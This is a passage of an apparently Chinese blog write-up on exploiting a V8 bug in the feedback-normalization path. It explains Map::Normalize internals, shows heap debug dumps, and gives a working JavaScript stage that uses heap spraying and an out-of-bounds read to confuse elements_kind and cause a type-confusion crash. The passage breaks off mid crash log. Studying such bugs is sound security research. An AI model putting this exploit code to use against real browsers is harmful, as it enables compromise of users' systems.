如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"># <span class="built_in">Normarlize</span>(<span class="built_in">job</span>(o)-&gt;map)的结果</span><br><span class="line"><span class="number">0x19e2010309d1</span>: [Map] in OldSpace</span><br><span class="line"> - map: <span class="number">0x19e200141759</span> &lt;<span class="built_in">MetaMap</span> (<span class="number">0x19e2001417a9</span> &lt;NativeContext[<span class="number">295</span>]&gt;)&gt;</span><br><span class="line"> - type: JS_FUNCTION_TYPE</span><br><span class="line"> - instance size: <span class="number">32</span></span><br><span class="line"> - inobject properties: <span class="number">0</span></span><br><span class="line"> - unused property fields: <span class="number">0</span></span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - <span class="keyword">enum</span> <span class="title class_">length</span>: invalid</span><br><span class="line"> - dictionary_map</span><br><span class="line"> - may_have_interesting_properties</span><br><span class="line"> - callable</span><br><span class="line"> - constructor</span><br><span class="line"> - has_prototype_slot</span><br><span class="line"> - back pointer: <span class="number">0x19e200000069</span> &lt;undefined&gt;</span><br><span class="line"> - prototype_validity cell: <span class="number">0x19e200000a89</span> &lt;Cell value= <span class="number">1</span>&gt;</span><br><span class="line"> - instance <span class="built_in">descriptors</span> (own) #<span class="number">0</span>: <span class="number">0x19e200000759</span> &lt;DescriptorArray[<span class="number">0</span>]&gt;</span><br><span class="line"> - prototype: <span class="number">0x19e200141e49</span> &lt;<span class="built_in">JSFunction</span> (sfi = <span class="number">0x19e2000c74b5</span>)&gt;</span><br><span class="line"> - constructor: <span class="number">0x19e200141eed</span> &lt;JSFunction <span class="built_in">Function</span> (sfi = <span class="number">0x19e2003148e5</span>)&gt;</span><br><span class="line"> - dependent code: <span class="number">0x19e200000735</span> &lt;Other heap <span class="built_in">object</span> (WEAK_ARRAY_LIST_TYPE)&gt;</span><br><span class="line"> - construction counter: <span class="number">0</span></span><br><span class="line"></span><br><span class="line"># 原来的</span><br><span class="line"><span class="number">0x19e201030999</span>: [Map] in OldSpace</span><br><span class="line"> - map: <span class="number">0x19e200141759</span> &lt;<span class="built_in">MetaMap</span> (<span class="number">0x19e2001417a9</span> &lt;NativeContext[<span class="number">295</span>]&gt;)&gt;</span><br><span class="line"> - type: JS_FUNCTION_TYPE</span><br><span class="line"> - instance size: <span class="number">32</span></span><br><span class="line"> - inobject properties: <span class="number">0</span></span><br><span class="line"> - unused property fields: <span class="number">0</span></span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - <span class="keyword">enum</span> length: invalid</span><br><span class="line"> - stable_map</span><br><span class="line"> - callable</span><br><span class="line"> - constructor</span><br><span class="line"> - has_prototype_slot</span><br><span class="line"> - back pointer: <span class="number">0x19e200156f41</span> &lt;Map[<span class="number">32</span>](HOLEY_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: <span class="number">0x19e2001586e5</span> &lt;Cell value= <span class="number">0</span>&gt;</span><br><span class="line"> - instance <span class="built_in">descriptors</span> (own) #<span class="number">27</span>: <span class="number">0x19e2013b857d</span> &lt;DescriptorArray[<span class="number">27</span>]&gt;</span><br><span class="line"> - prototype: <span class="number">0x19e200141e49</span> &lt;<span class="built_in">JSFunction</span> (sfi = <span class="number">0x19e2000c74b5</span>)&gt;</span><br><span class="line"> - constructor: <span class="number">0x19e200141e49</span> &lt;<span class="built_in">JSFunction</span> (sfi = <span class="number">0x19e2000c74b5</span>)&gt;</span><br><span class="line"> - dependent code: <span class="number">0x19e200000735</span> &lt;Other heap <span class="built_in">object</span> (WEAK_ARRAY_LIST_TYPE)&gt;</span><br><span class="line"> - construction counter: <span class="number">0</span></span><br></pre></td></tr></table></figure><h4 id="322-normalize后map中可控的字段"><a class="markdownIt-Anchor" href="#322-normalize后map中可控的字段"></a> 3.2.2 <code>Normalize()</code>后map中可控的字段</h4><p>现在虽然可以绕过了, 但似乎无事发生, <code>Normalize()</code>具体是怎么转换的, 怎么利用这个扩大战果?</p><ul><li>也就是说<code>EquivalentToForNormalization()</code>中限制的字段都不能改动,</li><li>研究<code>Normailze()</code>看一下哪些可以控制, 从而找到最终的可随意控制的字段</li></ul><p><code>EquivalentToForNormalization()</code>中检查的相关代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// CLEAR_INOBJECT_PROPERTIES=True, properties为0</span></span><br><span class="line"><span class="type">int</span> properties = mode == CLEAR_INOBJECT_PROPERTIES ? <span class="number">0</span> : other-&gt;<span class="built_in">GetInObjectProperties</span>();</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::<span class="built_in">update</span>(other-&gt;<span class="built_in">bit_field2</span>(), elements_kind);</span><br><span class="line">   <span class="built_in">prototype</span>() == other_prototype &amp;&amp;</span><br><span class="line">   <span class="built_in">bit_field2</span>() == adjusted_other_bit_field2 &amp;&amp;</span><br><span class="line">   <span class="built_in">GetInObjectProperties</span>() == properties &amp;&amp;</span><br><span class="line">   JSObject::<span class="built_in">GetEmbedderFieldCount</span>(*<span class="keyword">this</span>) == JSObject::<span class="built_in">GetEmbedderFieldCount</span>(other);</span><br><span class="line"></span><br><span class="line">  first-&gt;<span class="built_in">GetConstructorRaw</span>() == second-&gt;<span class="built_in">GetConstructorRaw</span>() &amp;&amp;</span><br><span class="line">   first-&gt;<span class="built_in">instance_type</span>() == second-&gt;<span class="built_in">instance_type</span>() &amp;&amp;</span><br><span class="line">   first-&gt;<span class="built_in">bit_field</span>() == second-&gt;<span class="built_in">bit_field</span>() &amp;&amp;</span><br><span class="line">   first-&gt;<span class="built_in">is_extensible</span>() == second-&gt;<span class="built_in">is_extensible</span>() &amp;&amp;</span><br><span class="line">   first-&gt;<span class="built_in">new_target_is_base</span>() == second-&gt;<span class="built_in">new_target_is_base</span>();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>总结:</p><ul><li>原型对象一样: <code>result-&gt;prototype() == map-&gt;prototype() = Function的原型对象</code></li><li><code>result-&gt;bit_field2 == ElementsKindBits::update(map-&gt;bit_filed2, result-&gt;elements_kind)</code>. 也就是<code>map-&gt;bit_field2</code>除了<code>elements_kind</code>字段其余的要和<code>result-&gt;bit_field2</code>一致</li><li>没有in-obj属性: <code>result-&gt;GetInObjectProperties()==0</code></li><li><code>GetEmbedderFieldCount()</code>表示内嵌的字段一致</li><li>最原始的构造方法一致: <code>result-&gt;constructor-&gt;map-&gt;constructor-&gt;...-&gt;map-&gt;constructor</code>最终找到的是一致的</li><li><code>instance_type</code>字段完全一致</li><li><code>bit_field</code>字段完全一致</li><li><code>bit_field2-&gt;is_extensible</code>一致</li><li><code>bit_field2-&gt;new_target_is_base</code>一致</li></ul><p><code>Normalize()</code>的过程如下.</p><ul><li><code>Normailize()</code>之后就变成了dictionary map, 也就是说对象的proeprties使用字典来表示, 命名属性的key value都保存在这个字段中, map不再使用descriptor array保存属性名</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// fast_map就是后面伪造的initial_map</span></span><br><span class="line"><span class="function">Handle&lt;Map&gt; <span class="title">Map::Normalize</span><span class="params">(Isolate* isolate, Handle&lt;Map&gt; fast_map, PropertyNormalizationMode mode, <span class="type">const</span> <span class="type">char</span>* reason)</span> </span>&#123;</span><br><span class="line">  <span class="type">const</span> <span class="type">bool</span> kUseCache = <span class="literal">true</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Normalize</span>(isolate, fast_map, fast_map-&gt;<span class="built_in">elements_kind</span>(), <span class="built_in">Handle</span>&lt;HeapObject&gt;(), mode, kUseCache, reason);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">Handle&lt;Map&gt; <span class="title">Map::Normalize</span><span class="params">(Isolate* isolate, </span></span></span><br><span class="line"><span class="params"><span class="function">                           Handle&lt;Map&gt; fast_map,    <span class="comment">// 对应initial_map, 也就是job(o)-&gt;map</span></span></span></span><br><span class="line"><span class="params"><span class="function">                           ElementsKind new_elements_kind,    <span class="comment">// 可控</span></span></span></span><br><span class="line"><span class="params"><span class="function">                           Handle&lt;HeapObject&gt; new_prototype,    <span class="comment">// 空的</span></span></span></span><br><span class="line"><span class="params"><span class="function">                           PropertyNormalizationMode mode, <span class="comment">// CLEAR_INOBJECT_PROPERTIES</span></span></span></span><br><span class="line"><span class="params"><span class="function">                           <span class="type">bool</span> use_cache,</span></span></span><br><span class="line"><span class="params"><span class="function">                           <span class="type">const</span> <span class="type">char</span>* reason)</span> </span>&#123;</span><br><span class="line">  ...</span><br><span class="line">  Handle&lt;Map&gt; new_map;</span><br><span class="line">  <span class="keyword">if</span> (use_cache &amp;&amp; ...) &#123;</span><br><span class="line">    ...</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    new_map = Map::<span class="built_in">CopyNormalized</span>(isolate, fast_map, mode);    <span class="comment">// 从fast_map中复制字段构建新map</span></span><br><span class="line">    new_map-&gt;<span class="built_in">set_elements_kind</span>(new_elements_kind);    <span class="comment">// 设置Elements_Kind</span></span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">  fast_map-&gt;<span class="built_in">NotifyLeafMapLayoutChange</span>(isolate);</span><br><span class="line">  <span class="keyword">return</span> new_map;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">Handle&lt;Map&gt; <span class="title">Map::CopyNormalized</span><span class="params">(Isolate* isolate, Handle&lt;Map&gt; map, PropertyNormalizationMode mode)</span> </span>&#123;</span><br><span class="line">  <span class="type">int</span> new_instance_size = map-&gt;<span class="built_in">instance_size</span>();</span><br><span class="line">  <span class="keyword">if</span> (mode == CLEAR_INOBJECT_PROPERTIES) &#123;</span><br><span class="line">    new_instance_size -= map-&gt;<span class="built_in">GetInObjectProperties</span>() * kTaggedSize;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  Handle&lt;Map&gt; result = <span class="built_in">RawCopy</span>(isolate, map, new_instance_size, mode == CLEAR_INOBJECT_PROPERTIES ? <span class="number">0</span> : map-&gt;<span class="built_in">GetInObjectProperties</span>());</span><br><span class="line">  &#123;</span><br><span class="line">    DisallowGarbageCollection no_gc;</span><br><span class="line">    Tagged&lt;Map&gt; raw = *result;</span><br><span class="line">    <span class="comment">// Clear the unused_property_fields explicitly as this field should not</span></span><br><span class="line">    <span class="comment">// be accessed for normalized maps.</span></span><br><span class="line">    raw-&gt;<span class="built_in">SetInObjectUnusedPropertyFields</span>(<span class="number">0</span>);</span><br><span class="line">    raw-&gt;<span class="built_in">set_is_dictionary_map</span>(<span class="literal">true</span>);</span><br><span class="line">    raw-&gt;<span class="built_in">set_is_migration_target</span>(<span class="literal">false</span>);</span><br><span class="line">    raw-&gt;<span class="built_in">set_may_have_interesting_properties</span>(<span class="literal">true</span>);</span><br><span class="line">    raw-&gt;<span class="built_in">set_construction_counter</span>(kNoSlackTracking);</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">Handle&lt;Map&gt; <span class="title">Map::RawCopy</span><span class="params">(Isolate* isolate, Handle&lt;Map&gt; src_handle, <span class="type">int</span> instance_size, <span class="type">int</span> inobject_properties)</span> </span>&#123;</span><br><span class="line">  Handle&lt;Map&gt; result = isolate-&gt;<span class="built_in">factory</span>()-&gt;<span class="built_in">NewMap</span>(src_handle, src_handle-&gt;<span class="built_in">instance_type</span>(), instance_size, TERMINAL_FAST_ELEMENTS_KIND, inobject_properties);</span><br><span class="line">  &#123;</span><br><span class="line">    DisallowGarbageCollection no_gc;</span><br><span class="line">    Tagged&lt;Map&gt; src = *src_handle;</span><br><span class="line">    Tagged&lt;Map&gt; raw = *result;</span><br><span class="line">    raw-&gt;<span class="built_in">set_constructor_or_back_pointer</span>(src-&gt;<span class="built_in">GetConstructorRaw</span>());</span><br><span class="line">    raw-&gt;<span class="built_in">set_bit_field</span>(src-&gt;<span class="built_in">bit_field</span>());</span><br><span class="line">    raw-&gt;<span class="built_in">set_bit_field2</span>(src-&gt;<span class="built_in">bit_field2</span>());</span><br><span class="line">    <span class="type">int</span> new_bit_field3 = src-&gt;<span class="built_in">bit_field3</span>();</span><br><span class="line">    new_bit_field3 = Bits3::OwnsDescriptorsBit::<span class="built_in">update</span>(new_bit_field3, <span class="literal">true</span>);</span><br><span class="line">    new_bit_field3 = Bits3::NumberOfOwnDescriptorsBits::<span class="built_in">update</span>(new_bit_field3, <span class="number">0</span>);</span><br><span class="line">    new_bit_field3 = Bits3::EnumLengthBits::<span class="built_in">update</span>(new_bit_field3, kInvalidEnumCacheSentinel);</span><br><span class="line">    new_bit_field3 = Bits3::IsDeprecatedBit::<span class="built_in">update</span>(new_bit_field3, <span class="literal">false</span>);</span><br><span class="line">    new_bit_field3 = Bits3::IsInRetainedMapListBit::<span class="built_in">update</span>(new_bit_field3, <span class="literal">false</span>);</span><br><span class="line">    <span class="keyword">if</span> (!src-&gt;<span class="built_in">is_dictionary_map</span>()) &#123;</span><br><span class="line">      new_bit_field3 = Bits3::IsUnstableBit::<span class="built_in">update</span>(new_bit_field3, <span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Same as bit_field comment above.</span></span><br><span class="line">    raw-&gt;<span class="built_in">set_bit_field3</span>(new_bit_field3);</span><br><span class="line">    raw-&gt;<span class="built_in">clear_padding</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="function">Handle&lt;HeapObject&gt; <span class="title">prototype</span><span class="params">(src_handle-&gt;prototype(), isolate)</span></span>;</span><br><span class="line">  Map::<span class="built_in">SetPrototype</span>(isolate, result, prototype);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>Map</code>中包含如下字段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">bitfield struct MapBitFields2 extends uint8 &#123;</span><br><span class="line">  new_target_is_base: bool: 1 bit;    // 要求一致</span><br><span class="line">  is_immutable_prototype: bool: 1 bit;    // 要求一致</span><br><span class="line">  elements_kind: ElementsKind: 6 bit;    // &lt;=== 可不一致, 根据initial_map设置, 可控</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">bitfield struct MapBitFields3 extends uint32 &#123;</span><br><span class="line">  enum_length: int32: 10 bit;    // 不可控, 恒为invalid</span><br><span class="line">  number_of_own_descriptors: int32: 10 bit;    // 不可控, 恒为0</span><br><span class="line">  is_prototype_map: bool: 1 bit;    // 不可控, 恒为false</span><br><span class="line">  is_dictionary_map: bool: 1 bit;    // 不可控, 恒为true</span><br><span class="line">  owns_descriptors: bool: 1 bit;    // 不可控, 恒为false</span><br><span class="line">  is_in_retained_map_list: bool: 1 bit;       // 不可控, 恒为false</span><br><span class="line">  is_deprecated: bool: 1 bit;    // 不可控, 恒为0</span><br><span class="line">  is_unstable: bool: 1 bit;</span><br><span class="line">  is_migration_target: bool: 1 bit;    // 不可控, 恒为false</span><br><span class="line">  is_extensible: bool: 1 bit;</span><br><span class="line">  may_have_interesting_properties: bool: 1 bit;    // 不可控, 恒为true</span><br><span class="line">  construction_counter: int32: 3 bit;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">extern class Map extends HeapObject &#123;</span><br><span class="line">  ...</span><br><span class="line">  // 这两个字段相等, 也就是没有in-obj property</span><br><span class="line">  instance_size_in_words: uint8;  </span><br><span class="line">  inobject_properties_start_or_constructor_function_index: uint8;</span><br><span class="line"></span><br><span class="line">  used_or_unused_instance_size_in_words: uint8;</span><br><span class="line">  visitor_id: uint8;</span><br><span class="line">  instance_type: InstanceType;    // 要求一致, 所以只能是JSFunction</span><br><span class="line">  bit_field: MapBitFields1;    // 要求一致</span><br><span class="line">  bit_field2: MapBitFields2;   // 要求除了elements_kind都一致, 根据initial_map设置, 可控</span><br><span class="line">  bit_field3: MapBitFields3;    // &lt;== 可不一致, 根据initial_map设置, 但基本都不可控</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  prototype: JSReceiver|Null; // 要求一致, 根据initial_map设置, 可控</span><br><span class="line">  constructor_or_back_pointer_or_native_context: Object;    // 要求最终的constructor都是一样的, 继承自initial_map</span><br><span class="line">  instance_descriptors: DescriptorArray;    // 不可控, 恒为空</span><br><span class="line">  dependent_code: DependentCode;</span><br><span class="line">  prototype_validity_cell: Smi|Cell;</span><br><span class="line">  transitions_or_prototype_info: Map|Weak&lt;Map&gt;|TransitionArray|PrototypeInfo|Smi;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>目标字段筛选</p><ol><li><code>EquivalentToForNormalization</code>中允许不一致的</li><li>并且<code>Normalize()</code>根据<code>initial_map</code>设置的字段, 那么就是我们可任意控制的</li></ol><p>符合这两个条件的只有<code>elements_kind</code>字段<br /><strong>也就是说</strong>​<strong>​<code>TransitionToDataProperty()</code>​</strong>​<strong>在属性过多需要转换为dictionary map时, 会使用</strong>​<strong>​<code>map-&gt;constructor-&gt;initial_map</code>​</strong>​<strong>的</strong>​<strong>​<code>elements_kind</code>​</strong>​<strong>设置新隐式类的</strong>​<strong>​<code>elements_kind</code>​</strong></p><h4 id="323-如何混淆elements_kind"><a class="markdownIt-Anchor" href="#323-如何混淆elements_kind"></a> 3.2.3 如何混淆elements_kind</h4><p>elements kind的lattice如下, elements kind只能沿着格子向下转换, 也就是逐步变得更加的泛化, 下面这些都是fast elements kind, 也就是基于数组的</p><!-- ![image](v8_feedback_normalization_RCE/a6.png) --><img src="/v8_feedback_normalization_RCE/a6.png" class="" title="a6.png"><p>elements kind表示对象的可排序属性的保存方式, 对于下面这个默认<code>job(o)-&gt;map-&gt;elements_kind = HOLEY_ELEMENTS</code>, 他要变得更加宽泛就只能变成<code>DICTIONARY_ELEMENTS</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">let o = <span class="built_in">function</span> ()&#123;&#125;;</span><br><span class="line">o[<span class="string">&quot;CanBeDeprecated&quot;</span>] = <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>这部分EXP如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">let obj = Object;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;constructor-&gt;properties被弃用</span></span><br><span class="line"><span class="comment">// 为job(Object)-&gt;map-&gt;constructor后面的越界读腾出32B空闲空间</span></span><br><span class="line">Object.__proto__[<span class="string">&quot;aaa&quot;</span>] = <span class="number">123</span>;</span><br><span class="line"><span class="comment">// gc();    // 不要主动触发GC, 后面堆喷时触发GC命中概率更大</span></span><br><span class="line"></span><br><span class="line">let arr = [];</span><br><span class="line"><span class="function">function <span class="title">heap_spray</span><span class="params">(cnt)</span></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(let i=<span class="number">0</span>; i&lt;cnt; i++) &#123; </span><br><span class="line">        <span class="keyword">if</span>(i%<span class="number">1000</span>==<span class="number">0</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;heap spray ============&gt; &quot;</span> + i);</span><br><span class="line"></span><br><span class="line">        <span class="comment">/*</span></span><br><span class="line"><span class="comment">            job(o)-&gt;map会被当做是job(Object)-&gt;map-&gt;constructor-&gt;initial_map</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;instance_type为JS_FUNCTION_TYPE</span></span><br><span class="line"><span class="comment">            EquivalentToForNormalization()会检查下面两个map的instance_type是否一致</span></span><br><span class="line"><span class="comment">                - Normalize(job(o)-&gt;map)</span></span><br><span class="line"><span class="comment">                - job(Object)-&gt;map</span></span><br><span class="line"><span class="comment">            所以job(o)-&gt;map-&gt;instanl_map只能为JS_FUNCTION_TYPE</span></span><br><span class="line"><span class="comment">            因此o只能是JSFunction类型的对象</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        let o = <span class="built_in">function</span> ()&#123;&#125;;</span><br><span class="line">  </span><br><span class="line">        <span class="comment">/* </span></span><br><span class="line"><span class="comment">            添加一个SMI属性, 为了绕过:</span></span><br><span class="line"><span class="comment">                # Fatal error in ../../src/objects/map.cc, line 598</span></span><br><span class="line"><span class="comment">                # Debug check failed: CanBeDeprecated().</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        o[<span class="string">&quot;CanBeDeprecated&quot;</span>] = i;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/*</span></span><br><span class="line"><span class="comment">            job(o)-&gt;map-&gt;elements_kind默认为HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">            添加稀疏的索引属性, 使其elements_kind泛化为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;elements_kind默认为HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">            这会导致TransitionToDataProperty()创新的新隐式类的lements_kind有误</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;elements_kind被覆盖为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        <span class="keyword">for</span>(let i=<span class="number">0</span>; i&lt;<span class="number">16</span>; i++) &#123;</span><br><span class="line">            o[i*<span class="number">1000</span>] = i;</span><br><span class="line">        &#125;</span><br><span class="line">        arr.<span class="built_in">push</span>(o);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">heap_spray</span>(<span class="number">37000</span>);  <span class="comment">// 平均为第18500个对象喷上去</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// job(obj)-&gt;elements为FixedArray, job(obj)-&gt;map-&gt;elements=HOLEY_ELEMENTS</span></span><br><span class="line">obj[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">obj[<span class="number">1</span>] = <span class="number">1</span>;</span><br><span class="line">obj[<span class="number">2</span>] = <span class="number">2</span>;</span><br><span class="line">obj[<span class="number">3</span>] = <span class="number">3</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 触发TransitionToDataProperty()中的feedback_normalization部分代码</span></span><br><span class="line"><span class="comment">// 越界读到job(o)-&gt;map作为job(Object)-&gt;map-&gt;constructor-&gt;initial_map</span></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;elements_kind被覆盖为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="keyword">for</span> (let i = <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;add property ============&gt; &quot;</span> + i);</span><br><span class="line">    obj[<span class="string">&quot;p&quot;</span> + i] = i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;====== try to read&quot;</span>);</span><br><span class="line">%<span class="built_in">DebugPrint</span>(obj);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这里就会触发DCHECK</span></span><br><span class="line"><span class="built_in">print</span>(obj[<span class="number">0</span>]);</span><br><span class="line">%<span class="built_in">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p>由此扩大了战果, 得到了新的crash</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"># Fatal error in ../../src/objects/object-type.cc, line <span class="number">82</span></span><br><span class="line"># <span class="function">Type cast failed in <span class="title">CAST</span><span class="params">(elements)</span> at ../../src/ic/accessor-assembler.cc:<span class="number">2561</span></span></span><br><span class="line"><span class="function">  Expected NumberDictionary but found <span class="number">0xdf9004ff835</span>: [FixedArray]</span></span><br><span class="line"><span class="function"> - map: <span class="number">0x0df90000056d</span> &lt;Map(FIXED_ARRAY_TYPE)&gt;</span></span><br><span class="line"><span class="function"> - length: <span class="number">17</span></span></span><br><span class="line"><span class="function">           <span class="number">0</span>: <span 